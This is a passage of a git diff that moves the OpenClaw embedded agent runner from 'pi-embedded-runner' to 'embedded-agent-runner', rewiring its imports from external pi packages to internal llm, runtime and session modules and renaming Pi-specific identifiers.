src/agents/embedded-agent-runner/compaction-hooks.ts index 8efdd666456..25ac76cdbbe 100644 --- a/src/agents/pi-embedded-runner/compaction-hooks.ts +++ b/src/agents/embedded-agent-runner/compaction-hooks.ts @@ -1,4 +1,3 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { createInternalHookEvent, triggerInternalHook } from "../../hooks/internal-hooks.js"; import { formatErrorMessage } from "../../infra/errors.js"; @@ -7,6 +6,7 @@ import { getActiveMemorySearchManager } from "../../plugins/memory-runtime.js"; import { emitSessionTranscriptUpdate } from "../../sessions/transcript-events.js"; import { resolveSessionAgentId } from "../agent-scope.js"; import { resolveMemorySearchConfig } from "../memory-search.js"; +import type { AgentMessage } from "../runtime/index.js"; import { log } from "./logger.js"; function resolvePostCompactionIndexSyncMode(config?: OpenClawConfig): "off" | "async" | "await" { diff --git a/src/agents/pi-embedded-runner/compaction-runtime-context.test.ts b/src/agents/embedded-agent-runner/compaction-runtime-context.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/compaction-runtime-context.test.ts rename to src/agents/embedded-agent-runner/compaction-runtime-context.test.ts diff --git a/src/agents/pi-embedded-runner/compaction-runtime-context.ts b/src/agents/embedded-agent-runner/compaction-runtime-context.ts similarity index 97% rename from src/agents/pi-embedded-runner/compaction-runtime-context.ts rename to src/agents/embedded-agent-runner/compaction-runtime-context.ts index 3c757b19e80..26787ed7494 100644 --- a/src/agents/pi-embedded-runner/compaction-runtime-context.ts +++ b/src/agents/embedded-agent-runner/compaction-runtime-context.ts @@ -6,7 +6,7 @@ import { type ActiveProcessSessionReference, } from "../bash-process-references.js"; import type { ExecElevatedDefaults } from "../bash-tools.js"; -import { resolveSelectedOpenAIPiRuntimeProvider } from "../openai-codex-routing.js"; +import { resolveSelectedOpenAIRuntimeProvider } from "../openai-codex-routing.js"; import type { SkillSnapshot } from "../skills.js"; export type EmbeddedCompactionRuntimeContext = { @@ -64,9 +64,9 @@ export function resolveEmbeddedCompactionTarget(params: { if (!targetProvider) { return undefined; } - const runtimeProvider = resolveSelectedOpenAIPiRuntimeProvider({ + const runtimeProvider = resolveSelectedOpenAIRuntimeProvider({ provider: targetProvider, - harnessRuntime: "pi", + harnessRuntime: "openclaw", authProfileId, config: params.config, }); diff --git a/src/agents/pi-embedded-runner/compaction-safety-timeout.ts b/src/agents/embedded-agent-runner/compaction-safety-timeout.ts similarity index 100% rename from src/agents/pi-embedded-runner/compaction-safety-timeout.ts rename to src/agents/embedded-agent-runner/compaction-safety-timeout.ts diff --git a/src/agents/pi-embedded-runner/compaction-successor-transcript.test.ts b/src/agents/embedded-agent-runner/compaction-successor-transcript.test.ts similarity index 99% rename from src/agents/pi-embedded-runner/compaction-successor-transcript.test.ts rename to src/agents/embedded-agent-runner/compaction-successor-transcript.test.ts index 987fb8ded95..18de82e30f2 100644 --- a/src/agents/pi-embedded-runner/compaction-successor-transcript.test.ts +++ b/src/agents/embedded-agent-runner/compaction-successor-transcript.test.ts @@ -1,7 +1,7 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import { SessionManager } from "@earendil-works/pi-coding-agent"; +import { SessionManager } from "openclaw/plugin-sdk/agent-sessions"; import { afterEach, describe, expect, it, vi } from "vitest"; import { makeAgentAssistantMessage } from "../test-helpers/agent-message-fixtures.js"; import { diff --git a/src/agents/pi-embedded-runner/compaction-successor-transcript.ts b/src/agents/embedded-agent-runner/compaction-successor-transcript.ts similarity index 98% rename from src/agents/pi-embedded-runner/compaction-successor-transcript.ts rename to src/agents/embedded-agent-runner/compaction-successor-transcript.ts index 651453c00aa..27f0a0f78ae 100644 --- a/src/agents/pi-embedded-runner/compaction-successor-transcript.ts +++ b/src/agents/embedded-agent-runner/compaction-successor-transcript.ts @@ -1,12 +1,8 @@ import { randomUUID } from "node:crypto"; import path from "node:path"; -import { - CURRENT_SESSION_VERSION, - type CompactionEntry, - type SessionEntry, - type SessionHeader, -} from "@earendil-works/pi-coding-agent"; +import { CURRENT_SESSION_VERSION } from "../../config/sessions/version.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; +import { type CompactionEntry, type SessionEntry, type SessionHeader } from "../sessions/index.js"; import { collectDuplicateUserMessageEntryIdsForCompaction } from "./compaction-duplicate-user-messages.js"; import { readTranscriptFileState, diff --git a/src/agents/pi-embedded-runner/context-engine-capabilities.ts b/src/agents/embedded-agent-runner/context-engine-capabilities.ts similarity index 100% rename from src/agents/pi-embedded-runner/context-engine-capabilities.ts rename to src/agents/embedded-agent-runner/context-engine-capabilities.ts diff --git a/src/agents/pi-embedded-runner/context-engine-maintenance.test.ts b/src/agents/embedded-agent-runner/context-engine-maintenance.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/context-engine-maintenance.test.ts rename to src/agents/embedded-agent-runner/context-engine-maintenance.test.ts diff --git a/src/agents/pi-embedded-runner/context-engine-maintenance.ts b/src/agents/embedded-agent-runner/context-engine-maintenance.ts similarity index 100% rename from src/agents/pi-embedded-runner/context-engine-maintenance.ts rename to src/agents/embedded-agent-runner/context-engine-maintenance.ts diff --git a/src/agents/pi-embedded-runner/context-truncation-notice.ts b/src/agents/embedded-agent-runner/context-truncation-notice.ts similarity index 100% rename from src/agents/pi-embedded-runner/context-truncation-notice.ts rename to src/agents/embedded-agent-runner/context-truncation-notice.ts diff --git a/src/agents/pi-embedded-runner/delivery-evidence.ts b/src/agents/embedded-agent-runner/delivery-evidence.ts similarity index 100% rename from src/agents/pi-embedded-runner/delivery-evidence.ts rename to src/agents/embedded-agent-runner/delivery-evidence.ts diff --git a/src/agents/pi-embedded-runner/effective-tool-policy.test.ts b/src/agents/embedded-agent-runner/effective-tool-policy.test.ts similarity index 92% rename from src/agents/pi-embedded-runner/effective-tool-policy.test.ts rename to src/agents/embedded-agent-runner/effective-tool-policy.test.ts index e0ccc8efec0..a30fbf323ba 100644 --- a/src/agents/pi-embedded-runner/effective-tool-policy.test.ts +++ b/src/agents/embedded-agent-runner/effective-tool-policy.test.ts @@ -3,7 +3,6 @@ import os from "node:os"; import path from "node:path"; import { describe, expect, it } from "vitest"; import { setPluginToolMeta } from "../../plugins/tools.js"; -import { providerAliasCases } from "../test-helpers/provider-alias-cases.js"; import type { AnyAgentTool } from "../tools/common.js"; import { applyFinalEffectiveToolPolicy } from "./effective-tool-policy.js"; @@ -18,26 +17,6 @@ function makeTool(name: string): AnyAgentTool { } describe("applyFinalEffectiveToolPolicy", () => { - it.each(providerAliasCases)( - "applies canonical tools.byProvider deny policy to bundled tools for alias %s", - (alias, canonical) => { - const filtered = applyFinalEffectiveToolPolicy({ - bundledTools: [makeTool("mcp__bundle__exec"), makeTool("mcp__bundle__read")], - config: { - tools: { - byProvider: { - [canonical]: { deny: ["mcp__bundle__exec"] }, - }, - }, - }, - modelProvider: alias, - warn: () => {}, - }); - - expect(filtered.map((tool) => tool.name)).toEqual(["mcp__bundle__read"]); - }, - ); - it("filters bundled tools through the configured allowlist", () => { const filtered = applyFinalEffectiveToolPolicy({ bundledTools: [makeTool("mcp__bundle__fs_delete"), makeTool("mcp__bundle__fs_read")], diff --git a/src/agents/pi-embedded-runner/effective-tool-policy.ts b/src/agents/embedded-agent-runner/effective-tool-policy.ts similarity index 99% rename from src/agents/pi-embedded-runner/effective-tool-policy.ts rename to src/agents/embedded-agent-runner/effective-tool-policy.ts index c2ffe23f71c..62d835b13fd 100644 --- a/src/agents/pi-embedded-runner/effective-tool-policy.ts +++ b/src/agents/embedded-agent-runner/effective-tool-policy.ts @@ -6,7 +6,7 @@ import { resolveInheritedToolPolicyForSession, resolveTrustedGroupId, resolveSubagentToolPolicyForSession, -} from "../pi-tools.policy.js"; +} from "../agent-tools.policy.js"; import { resolveSenderToolPolicy } from "../sender-tool-policy.js"; import { isSubagentEnvelopeSession, diff --git a/src/agents/pi-embedded-runner/empty-assistant-turn.ts b/src/agents/embedded-agent-runner/empty-assistant-turn.ts similarity index 95% rename from src/agents/pi-embedded-runner/empty-assistant-turn.ts rename to src/agents/embedded-agent-runner/empty-assistant-turn.ts index 2a77a962a59..5b1d7d65db5 100644 --- a/src/agents/pi-embedded-runner/empty-assistant-turn.ts +++ b/src/agents/embedded-agent-runner/empty-assistant-turn.ts @@ -16,7 +16,7 @@ type UsageFieldMap = { total_tokens?: unknown; }; -// Upstream badlogic/pi-mono should normalize Anthropic zero-token empty `stop` +// Upstream agent runtimes should normalize Anthropic zero-token empty `stop` // turns before OpenClaw sees them. Downstream: openclaw/openclaw#71880. function readFiniteTokenCount(value: unknown): number | undefined { return asFiniteNumber(value); diff --git a/src/agents/pi-embedded-runner/execution-phase.ts b/src/agents/embedded-agent-runner/execution-phase.ts similarity index 100% rename from src/agents/pi-embedded-runner/execution-phase.ts rename to src/agents/embedded-agent-runner/execution-phase.ts diff --git a/src/agents/pi-embedded-runner/extensions.test.ts b/src/agents/embedded-agent-runner/extensions.test.ts similarity index 90% rename from src/agents/pi-embedded-runner/extensions.test.ts rename to src/agents/embedded-agent-runner/extensions.test.ts index 2fccb2d7d08..094ed92f1fe 100644 --- a/src/agents/pi-embedded-runner/extensions.test.ts +++ b/src/agents/embedded-agent-runner/extensions.test.ts @@ -1,10 +1,10 @@ -import type { Api, Model } from "@earendil-works/pi-ai"; -import type { SessionManager } from "@earendil-works/pi-coding-agent"; +import type { SessionManager } from "openclaw/plugin-sdk/agent-sessions"; +import type { Api, Model } from "openclaw/plugin-sdk/llm"; import { describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../../config/config.js"; -import { getCompactionSafeguardRuntime } from "../pi-hooks/compaction-safeguard-runtime.js"; -import compactionSafeguardExtension from "../pi-hooks/compaction-safeguard.js"; -import contextPruningExtension from "../pi-hooks/context-pruning.js"; +import { getCompactionSafeguardRuntime } from "../agent-hooks/compaction-safeguard-runtime.js"; +import compactionSafeguardExtension from "../agent-hooks/compaction-safeguard.js"; +import contextPruningExtension from "../agent-hooks/context-pruning.js"; import { buildEmbeddedExtensionFactories } from "./extensions.js"; vi.mock("../../plugins/provider-runtime.js", () => ({ @@ -21,7 +21,7 @@ function buildSafeguardFactories(cfg: OpenClawConfig, workspaceDir?: string) { const model = { id: "claude-sonnet-4-20250514", contextWindow: 200_000, - } as Model; + } as Model; const factories = buildEmbeddedExtensionFactories({ cfg, @@ -135,7 +135,7 @@ describe("buildEmbeddedExtensionFactories", () => { sessionManager: {} as SessionManager, provider: "litellm", modelId: "claude-sonnet-4-6", - model: { api: "anthropic-messages", contextWindow: 200_000 } as Model, + model: { api: "anthropic-messages", contextWindow: 200_000 } as Model, }); expect(factories).toContain(contextPruningExtension); diff --git a/src/agents/pi-embedded-runner/extensions.ts b/src/agents/embedded-agent-runner/extensions.ts similarity index 85% rename from src/agents/pi-embedded-runner/extensions.ts rename to src/agents/embedded-agent-runner/extensions.ts index d403ebf8dc0..38743383888 100644 --- a/src/agents/pi-embedded-runner/extensions.ts +++ b/src/agents/embedded-agent-runner/extensions.ts @@ -1,23 +1,26 @@ import { randomUUID } from "node:crypto"; -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; -import type { ExtensionFactory, SessionManager } from "@earendil-works/pi-coding-agent"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; import type { ProviderRuntimeModel } from "../../plugins/provider-runtime-model.types.js"; import { normalizeOptionalLowercaseString } from "../../shared/string-coerce.js"; +import { setCompactionSafeguardRuntime } from "../agent-hooks/compaction-safeguard-runtime.js"; +import compactionSafeguardExtension from "../agent-hooks/compaction-safeguard.js"; +import contextPruningExtension from "../agent-hooks/context-pruning.js"; +import { setContextPruningRuntime } from "../agent-hooks/context-pruning/runtime.js"; +import { computeEffectiveSettings } from "../agent-hooks/context-pruning/settings.js"; +import { makeToolPrunablePredicate } from "../agent-hooks/context-pruning/tools.js"; +import { + ensureAgentCompactionReserveTokens, + resolveEffectiveCompactionMode, +} from "../agent-settings.js"; import { resolveContextWindowInfo } from "../context-window-guard.js"; import { DEFAULT_CONTEXT_TOKENS } from "../defaults.js"; import { createAgentToolResultMiddlewareRunner } from "../harness/tool-result-middleware.js"; -import { setCompactionSafeguardRuntime } from "../pi-hooks/compaction-safeguard-runtime.js"; -import compactionSafeguardExtension from "../pi-hooks/compaction-safeguard.js"; -import contextPruningExtension from "../pi-hooks/context-pruning.js"; -import { setContextPruningRuntime } from "../pi-hooks/context-pruning/runtime.js"; -import { computeEffectiveSettings } from "../pi-hooks/context-pruning/settings.js"; -import { makeToolPrunablePredicate } from "../pi-hooks/context-pruning/tools.js"; -import { ensurePiCompactionReserveTokens, resolveEffectiveCompactionMode } from "../pi-settings.js"; +import type { AgentToolResult } from "../runtime/index.js"; +import type { ExtensionFactory, SessionManager } from "../sessions/index.js"; import { resolveTranscriptPolicy } from "../transcript-policy.js"; import { isCacheTtlEligibleProvider, readLastCacheTtlTimestamp } from "./cache-ttl.js"; -type PiToolResultEvent = { +type AgentToolResultEvent = { threadId?: string; turnId?: string; toolCallId?: string; @@ -45,17 +48,17 @@ function hasErrorToolResultStatus(result: AgentToolResult): boolean { } function buildAgentToolResultMiddlewareFactory(): ExtensionFactory { - const runner = createAgentToolResultMiddlewareRunner({ runtime: "pi" }); - return (pi) => { - pi.on("tool_result", async (rawEvent: unknown, ctx: { cwd?: string }) => { - const event = recordFromUnknown(rawEvent) as PiToolResultEvent; + const runner = createAgentToolResultMiddlewareRunner({ runtime: "openclaw" }); + return (agent) => { + agent.on("tool_result", async (rawEvent: unknown, ctx: { cwd?: string }) => { + const event = recordFromUnknown(rawEvent) as AgentToolResultEvent; if (!event.toolName) { return undefined; } const toolCallId = typeof event.toolCallId === "string" && event.toolCallId.trim() ? event.toolCallId - : `pi-${randomUUID()}`; + : `openclaw-${randomUUID()}`; const content = Array.isArray(event.content) ? event.content : []; const current = { content, @@ -182,4 +185,4 @@ export function buildEmbeddedExtensionFactories(params: { return factories; } -export { ensurePiCompactionReserveTokens }; +export { ensureAgentCompactionReserveTokens }; diff --git a/src/agents/pi-embedded-runner/extra-params.cache-retention-default.test.ts b/src/agents/embedded-agent-runner/extra-params.cache-retention-default.test.ts similarity index 96% rename from src/agents/pi-embedded-runner/extra-params.cache-retention-default.test.ts rename to src/agents/embedded-agent-runner/extra-params.cache-retention-default.test.ts index ccdf1b1e5f8..9962a03918b 100644 --- a/src/agents/pi-embedded-runner/extra-params.cache-retention-default.test.ts +++ b/src/agents/embedded-agent-runner/extra-params.cache-retention-default.test.ts @@ -1,7 +1,7 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { createPiAiStreamSimpleMock } from "../../../test/helpers/agents/pi-ai-stream-simple-mock.js"; -import { isOpenRouterAnthropicModelRef } from "./anthropic-family-cache-semantics.js"; +import { createLlmStreamSimpleMock } from "../../../test/helpers/agents/llm-stream-simple-mock.js"; +import { isOpenRouterAnthropicModelRef } from "../../llm/providers/stream-wrappers/anthropic-family-cache-semantics.js"; import { testing as extraParamsTesting, applyExtraParamsToAgent } from "./extra-params.js"; import { resolveCacheRetention } from "./prompt-cache-retention.js"; @@ -39,7 +39,7 @@ vi.mock("./logger.js", () => ({ }, })); -vi.mock("@earendil-works/pi-ai", () => createPiAiStreamSimpleMock()); +vi.mock("../../llm/stream.js", () => createLlmStreamSimpleMock()); beforeEach(() => { extraParamsTesting.setProviderRuntimeDepsForTest({ diff --git a/src/agents/pi-embedded-runner/extra-params.google.test.ts b/src/agents/embedded-agent-runner/extra-params.google.test.ts similarity index 93% rename from src/agents/pi-embedded-runner/extra-params.google.test.ts rename to src/agents/embedded-agent-runner/extra-params.google.test.ts index db66f2b50ce..f4ccfc458b8 100644 --- a/src/agents/pi-embedded-runner/extra-params.google.test.ts +++ b/src/agents/embedded-agent-runner/extra-params.google.test.ts @@ -1,10 +1,10 @@ -import type { Model } from "@earendil-works/pi-ai"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { createPiAiStreamSimpleMock } from "../../../test/helpers/agents/pi-ai-stream-simple-mock.js"; +import { createLlmStreamSimpleMock } from "../../../test/helpers/agents/llm-stream-simple-mock.js"; +import type { Model } from "../../llm/types.js"; import { testing as extraParamsTesting } from "./extra-params.js"; import { runExtraParamsCase } from "./extra-params.test-support.js"; -vi.mock("@earendil-works/pi-ai", () => createPiAiStreamSimpleMock()); +vi.mock("../../llm/stream.js", () => createLlmStreamSimpleMock()); beforeEach(() => { extraParamsTesting.setProviderRuntimeDepsForTest({ diff --git a/src/agents/pi-embedded-runner/extra-params.kilocode.test.ts b/src/agents/embedded-agent-runner/extra-params.kilocode.test.ts similarity index 95% rename from src/agents/pi-embedded-runner/extra-params.kilocode.test.ts rename to src/agents/embedded-agent-runner/extra-params.kilocode.test.ts index 221eb59bf03..30b4c5ce849 100644 --- a/src/agents/pi-embedded-runner/extra-params.kilocode.test.ts +++ b/src/agents/embedded-agent-runner/extra-params.kilocode.test.ts @@ -1,8 +1,11 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { Context, Model, SimpleStreamOptions } from "@earendil-works/pi-ai"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; import { afterEach, describe, expect, it } from "vitest"; +import { + createKilocodeWrapper, + isProxyReasoningUnsupported, +} from "../../llm/providers/stream-wrappers/proxy.js"; +import type { Context, Model, SimpleStreamOptions } from "../../llm/types.js"; import { captureEnv } from "../../test-utils/env.js"; -import { createKilocodeWrapper, isProxyReasoningUnsupported } from "./proxy-stream-wrappers.js"; type ExtraParamsCapture> = { headers?: Record; diff --git a/src/agents/pi-embedded-runner/extra-params.openrouter-cache-control.test.ts b/src/agents/embedded-agent-runner/extra-params.openrouter-cache-control.test.ts similarity index 95% rename from src/agents/pi-embedded-runner/extra-params.openrouter-cache-control.test.ts rename to src/agents/embedded-agent-runner/extra-params.openrouter-cache-control.test.ts index 913155be468..23d84da2d14 100644 --- a/src/agents/pi-embedded-runner/extra-params.openrouter-cache-control.test.ts +++ b/src/agents/embedded-agent-runner/extra-params.openrouter-cache-control.test.ts @@ -1,6 +1,6 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; import { describe, expect, it } from "vitest"; -import { createOpenRouterSystemCacheWrapper } from "./proxy-stream-wrappers.js"; +import { createOpenRouterSystemCacheWrapper } from "../../llm/providers/stream-wrappers/proxy.js"; type StreamPayload = { messages: Array<{ diff --git a/src/agents/pi-embedded-runner/extra-params.provider-runtime.test.ts b/src/agents/embedded-agent-runner/extra-params.provider-runtime.test.ts similarity index 94% rename from src/agents/pi-embedded-runner/extra-params.provider-runtime.test.ts rename to src/agents/embedded-agent-runner/extra-params.provider-runtime.test.ts index a21e0ee34cf..21a7e2b6b18 100644 --- a/src/agents/pi-embedded-runner/extra-params.provider-runtime.test.ts +++ b/src/agents/embedded-agent-runner/extra-params.provider-runtime.test.ts @@ -1,6 +1,6 @@ -import type { Model } from "@earendil-works/pi-ai"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { createPiAiStreamSimpleMock } from "../../../test/helpers/agents/pi-ai-stream-simple-mock.js"; +import { createLlmStreamSimpleMock } from "../../../test/helpers/agents/llm-stream-simple-mock.js"; +import type { Model } from "../../llm/types.js"; import { testing as extraParamsTesting, resolveAgentTransportOverride, @@ -8,7 +8,7 @@ import { } from "./extra-params.js"; import { runExtraParamsCase } from "./extra-params.test-support.js"; -vi.mock("@earendil-works/pi-ai", () => createPiAiStreamSimpleMock()); +vi.mock("../../llm/stream.js", () => createLlmStreamSimpleMock()); beforeEach(() => { extraParamsTesting.setProviderRuntimeDepsForTest({ diff --git a/src/agents/pi-embedded-runner/extra-params.sampling.test.ts b/src/agents/embedded-agent-runner/extra-params.sampling.test.ts similarity index 98% rename from src/agents/pi-embedded-runner/extra-params.sampling.test.ts rename to src/agents/embedded-agent-runner/extra-params.sampling.test.ts index bddd6866259..7af761c9375 100644 --- a/src/agents/pi-embedded-runner/extra-params.sampling.test.ts +++ b/src/agents/embedded-agent-runner/extra-params.sampling.test.ts @@ -1,6 +1,6 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { createPiAiStreamSimpleMock } from "../../../test/helpers/agents/pi-ai-stream-simple-mock.js"; +import { createLlmStreamSimpleMock } from "../../../test/helpers/agents/llm-stream-simple-mock.js"; import { testing as extraParamsTesting, applyExtraParamsToAgent, @@ -15,7 +15,7 @@ vi.mock("./logger.js", () => ({ }, })); -vi.mock("@earendil-works/pi-ai", () => createPiAiStreamSimpleMock()); +vi.mock("../../llm/stream.js", () => createLlmStreamSimpleMock()); beforeEach(() => { extraParamsTesting.setProviderRuntimeDepsForTest({ diff --git a/src/agents/pi-embedded-runner/extra-params.test-support.ts b/src/agents/embedded-agent-runner/extra-params.test-support.ts similarity index 94% rename from src/agents/pi-embedded-runner/extra-params.test-support.ts rename to src/agents/embedded-agent-runner/extra-params.test-support.ts index 0dd6810be4e..35d0ffe5f66 100644 --- a/src/agents/pi-embedded-runner/extra-params.test-support.ts +++ b/src/agents/embedded-agent-runner/extra-params.test-support.ts @@ -1,7 +1,7 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { Context, Model, SimpleStreamOptions } from "@earendil-works/pi-ai"; import type { ThinkLevel } from "../../auto-reply/thinking.shared.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; +import type { Context, Model, SimpleStreamOptions } from "../../llm/types.js"; +import type { StreamFn } from "../runtime/index.js"; import { testing as extraParamsTesting, applyExtraParamsToAgent } from "./extra-params.js"; export type ExtraParamsCapture> = { diff --git a/src/agents/pi-embedded-runner/extra-params.ts b/src/agents/embedded-agent-runner/extra-params.ts similarity index 97% rename from src/agents/pi-embedded-runner/extra-params.ts rename to src/agents/embedded-agent-runner/extra-params.ts index 847db267eed..a69dcd89e55 100644 --- a/src/agents/pi-embedded-runner/extra-params.ts +++ b/src/agents/embedded-agent-runner/extra-params.ts @@ -1,9 +1,21 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { SimpleStreamOptions } from "@earendil-works/pi-ai"; -import { streamSimple } from "@earendil-works/pi-ai"; -import type { SettingsManager } from "@earendil-works/pi-coding-agent"; import type { ThinkLevel } from "../../auto-reply/thinking.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; +import { createGoogleThinkingPayloadWrapper } from "../../llm/providers/stream-wrappers/google.js"; +import { createMinimaxThinkingDisabledWrapper } from "../../llm/providers/stream-wrappers/minimax.js"; +import { + createSiliconFlowThinkingWrapper, + shouldApplySiliconFlowThinkingOffCompat, +} from "../../llm/providers/stream-wrappers/moonshot.js"; +import { + createOpenAICompletionsStrictMessageKeysWrapper, + createOpenAICompletionsToolsCompatWrapper, + createOpenAIResponsesContextManagementWrapper, + createOpenAIStringContentWrapper, +} from "../../llm/providers/stream-wrappers/openai.js"; +import { createOpenRouterSystemCacheWrapper } from "../../llm/providers/stream-wrappers/proxy.js"; +import { streamWithPayloadPatch } from "../../llm/providers/stream-wrappers/stream-payload-utils.js"; +import { streamSimple } from "../../llm/stream.js"; +import type { SimpleStreamOptions } from "../../llm/types.js"; import { createDeepSeekV4OpenAICompatibleThinkingWrapper, createThinkingOnlyFinalTextWrapper, @@ -20,22 +32,10 @@ import { legacyModelKey, modelKey } from "../model-selection-normalize.js"; import { supportsGptParallelToolCallsPayload } from "../provider-api-families.js"; import { resolveProviderRequestPolicyConfig } from "../provider-request-config.js"; import type { AgentRuntimeTransport } from "../runtime-plan/types.js"; -import { createGoogleThinkingPayloadWrapper } from "./google-stream-wrappers.js"; +import type { StreamFn } from "../runtime/index.js"; +import type { SettingsManager } from "../sessions/index.js"; import { log } from "./logger.js"; -import { createMinimaxThinkingDisabledWrapper } from "./minimax-stream-wrappers.js"; -import { - createSiliconFlowThinkingWrapper, - shouldApplySiliconFlowThinkingOffCompat, -} from "./moonshot-stream-wrappers.js"; -import { - createOpenAICompletionsStrictMessageKeysWrapper, - createOpenAICompletionsToolsCompatWrapper, - createOpenAIResponsesContextManagementWrapper, - createOpenAIStringContentWrapper, -} from "./openai-stream-wrappers.js"; import { resolveCacheRetention } from "./prompt-cache-retention.js"; -import { createOpenRouterSystemCacheWrapper } from "./proxy-stream-wrappers.js"; -import { streamWithPayloadPatch } from "./stream-payload-utils.js"; const defaultProviderRuntimeDeps = { prepareProviderExtraParams: prepareProviderExtraParamsRuntime, @@ -829,7 +829,7 @@ function applyPostPluginStreamWrappers( // emitted by upstream model-ID heuristics for Gemini 3.1 variants. ctx.agent.streamFn = createGoogleThinkingPayloadWrapper(ctx.agent.streamFn, ctx.thinkingLevel); - // Work around upstream pi-ai hardcoding `store: false` for Responses API. + // Work around upstream shared model runtime hardcoding `store: false` for Responses API. // Force `store=true` for direct OpenAI Responses models and auto-enable // server-side compaction for compatible Responses payloads. ctx.agent.streamFn = createOpenAIResponsesContextManagementWrapper( diff --git a/src/agents/pi-embedded-runner/extra-params.zai-tool-stream.test.ts b/src/agents/embedded-agent-runner/extra-params.zai-tool-stream.test.ts similarity index 95% rename from src/agents/pi-embedded-runner/extra-params.zai-tool-stream.test.ts rename to src/agents/embedded-agent-runner/extra-params.zai-tool-stream.test.ts index c4c4343ccf0..0d9903b13c5 100644 --- a/src/agents/pi-embedded-runner/extra-params.zai-tool-stream.test.ts +++ b/src/agents/embedded-agent-runner/extra-params.zai-tool-stream.test.ts @@ -1,9 +1,9 @@ -import type { Model, SimpleStreamOptions } from "@earendil-works/pi-ai"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { createPiAiStreamSimpleMock } from "../../../test/helpers/agents/pi-ai-stream-simple-mock.js"; +import { createLlmStreamSimpleMock } from "../../../test/helpers/agents/llm-stream-simple-mock.js"; import type { OpenClawConfig } from "../../config/config.js"; +import type { Model, SimpleStreamOptions } from "../../llm/types.js"; -vi.mock("@earendil-works/pi-ai", () => createPiAiStreamSimpleMock()); +vi.mock("../../llm/stream.js", () => createLlmStreamSimpleMock()); let runExtraParamsCase: typeof import("./extra-params.test-support.js").runExtraParamsCase; let extraParamsTesting: typeof import("./extra-params.js").testing; diff --git a/src/agents/pi-embedded-runner/failure-signal.test.ts b/src/agents/embedded-agent-runner/failure-signal.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/failure-signal.test.ts rename to src/agents/embedded-agent-runner/failure-signal.test.ts diff --git a/src/agents/pi-embedded-runner/failure-signal.ts b/src/agents/embedded-agent-runner/failure-signal.ts similarity index 100% rename from src/agents/pi-embedded-runner/failure-signal.ts rename to src/agents/embedded-agent-runner/failure-signal.ts diff --git a/src/agents/pi-embedded-runner/google-prompt-cache.test.ts b/src/agents/embedded-agent-runner/google-prompt-cache.test.ts similarity index 99% rename from src/agents/pi-embedded-runner/google-prompt-cache.test.ts rename to src/agents/embedded-agent-runner/google-prompt-cache.test.ts index 307d36e3727..5e99f2a9057 100644 --- a/src/agents/pi-embedded-runner/google-prompt-cache.test.ts +++ b/src/agents/embedded-agent-runner/google-prompt-cache.test.ts @@ -1,6 +1,6 @@ import crypto from "node:crypto"; -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { Model } from "@earendil-works/pi-ai"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; +import type { Model } from "openclaw/plugin-sdk/llm"; import { describe, expect, it, vi } from "vitest"; import { prepareGooglePromptCacheStreamFn } from "./google-prompt-cache.js"; import { EmbeddedAttemptSessionTakeoverError } from "./run/attempt.session-lock.js"; diff --git a/src/agents/pi-embedded-runner/google-prompt-cache.ts b/src/agents/embedded-agent-runner/google-prompt-cache.ts similarity index 98% rename from src/agents/pi-embedded-runner/google-prompt-cache.ts rename to src/agents/embedded-agent-runner/google-prompt-cache.ts index a945beab7ca..ec32dbcb6be 100644 --- a/src/agents/pi-embedded-runner/google-prompt-cache.ts +++ b/src/agents/embedded-agent-runner/google-prompt-cache.ts @@ -1,10 +1,11 @@ import crypto from "node:crypto"; -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { Api, Model } from "@earendil-works/pi-ai"; import { parseGeminiAuth } from "../../infra/gemini-auth.js"; import { normalizeGoogleApiBaseUrl } from "../../infra/google-api-base-url.js"; +import { streamWithPayloadPatch } from "../../llm/providers/stream-wrappers/stream-payload-utils.js"; +import type { Model } from "../../llm/types.js"; import { normalizeOptionalString } from "../../shared/string-coerce.js"; import { buildGuardedModelFetch } from "../provider-transport-fetch.js"; +import type { StreamFn } from "../runtime/index.js"; import { isSessionWriteLockTimeoutError } from "../session-write-lock-error.js"; import { stableStringify } from "../stable-stringify.js"; import { stripSystemPromptCacheBoundary } from "../system-prompt-cache-boundary.js"; @@ -12,7 +13,6 @@ import { mergeTransportHeaders, sanitizeTransportPayloadText } from "../transpor import { log } from "./logger.js"; import { isGooglePromptCacheEligible, resolveCacheRetention } from "./prompt-cache-retention.js"; import { EmbeddedAttemptSessionTakeoverError } from "./run/attempt.session-lock.js"; -import { streamWithPayloadPatch } from "./stream-payload-utils.js"; const GOOGLE_PROMPT_CACHE_CUSTOM_TYPE = "openclaw.google-prompt-cache"; const GOOGLE_PROMPT_CACHE_RETRY_BACKOFF_MS = 10 * 60_000; @@ -26,7 +26,7 @@ type GooglePromptCacheSessionManager = { appendCustomEntry(customType: string, data?: unknown): void | Promise; getEntries(): CustomEntryLike[]; }; -type GooglePromptCacheModel = Model & { +type GooglePromptCacheModel = Model & { baseUrl?: string; headers?: Record; provider: string; diff --git 